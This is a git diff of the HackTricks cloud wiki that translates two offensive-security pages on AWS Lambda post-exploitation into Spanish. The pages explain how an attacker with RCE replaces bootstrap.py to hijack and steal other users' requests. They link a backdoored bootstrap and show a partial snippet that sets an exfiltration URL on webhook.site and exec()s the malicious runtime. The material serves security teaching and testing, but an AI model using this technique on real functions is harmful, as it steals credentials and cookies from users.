mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -1,33 +1,29 @@
|
||||
# AWS - Lambda Post Exploitation
|
||||
# AWS - Lambda Post Explotación
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### Robar Solicitudes URL de Lambda de Otros
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
Si un atacante logra obtener RCE dentro de un Lambda, podrá robar las solicitudes HTTP de otros usuarios al lambda. Si las solicitudes contienen información sensible (cookies, credenciales...), podrá robárselas.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Robar Solicitudes URL de Lambda de Otros y Solicitudes de Extensiones
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,41 @@
|
||||
# AWS - Steal Lambda Requests
|
||||
# AWS - Robar Solicitudes de Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Flow
|
||||
## Flujo de Lambda
|
||||
|
||||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||||
|
||||
1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
|
||||
2. The init process listens on port **9001** exposing some interesting endpoints:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
|
||||
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
|
||||
4. Finally, **bootstrap.py** sends to init the **response**
|
||||
1. **Slicer** es un proceso fuera del contenedor que **envía** **invocaciones** al proceso **init**.
|
||||
2. El proceso init escucha en el puerto **9001** exponiendo algunos puntos finales interesantes:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – obtener el siguiente evento de invocación
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del manejador para la invocación
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – devolver un error de ejecución
|
||||
3. **bootstrap.py** tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (**`/next`**).
|
||||
4. Finalmente, **bootstrap.py** envía al init la **respuesta**
|
||||
|
||||
Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
|
||||
Nota que bootstrap carga el código del usuario como un módulo, por lo que cualquier ejecución de código realizada por el código del usuario está ocurriendo en este proceso.
|
||||
|
||||
## Stealing Lambda Requests
|
||||
## Robando Solicitudes de Lambda
|
||||
|
||||
The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
|
||||
El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras que el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.
|
||||
|
||||
This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
|
||||
Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso **`bootstrap.py`**. Así que el atacante podría:
|
||||
|
||||
- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
|
||||
- A request must be sent to **`/${invoke-id}/response`**
|
||||
- The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Execute a malicious **`boostrap.py`** which will handle the next invocations
|
||||
- For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
|
||||
- For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
|
||||
- **Enviar un resultado falso de la invocación actual al proceso init**, para que init piense que el proceso bootstrap está esperando más invocaciones.
|
||||
- Se debe enviar una solicitud a **`/${invoke-id}/response`**
|
||||
- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** utilizando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propone aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propone aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Ejecutar un **`boostrap.py`** malicioso que manejará las siguientes invocaciones.
|
||||
- Por razones de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
|
||||
- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual.
|
||||
|
||||
### Attack Steps
|
||||
### Pasos del Ataque
|
||||
|
||||
1. Find a **RCE** vulnerability.
|
||||
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Execute** the malicious bootstrap.
|
||||
|
||||
You can easily perform these actions running:
|
||||
1. Encontrar una vulnerabilidad de **RCE**.
|
||||
2. Generar un **bootstrap** **malicioso** (por ejemplo, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Ejecutar** el bootstrap malicioso.
|
||||
|
||||
Puedes realizar fácilmente estas acciones ejecutando:
|
||||
```bash
|
||||
python3 <<EOF
|
||||
import os
|
||||
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
|
||||
exec(new_runtime)
|
||||
EOF
|
||||
```
|
||||
Para más información, consulta [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user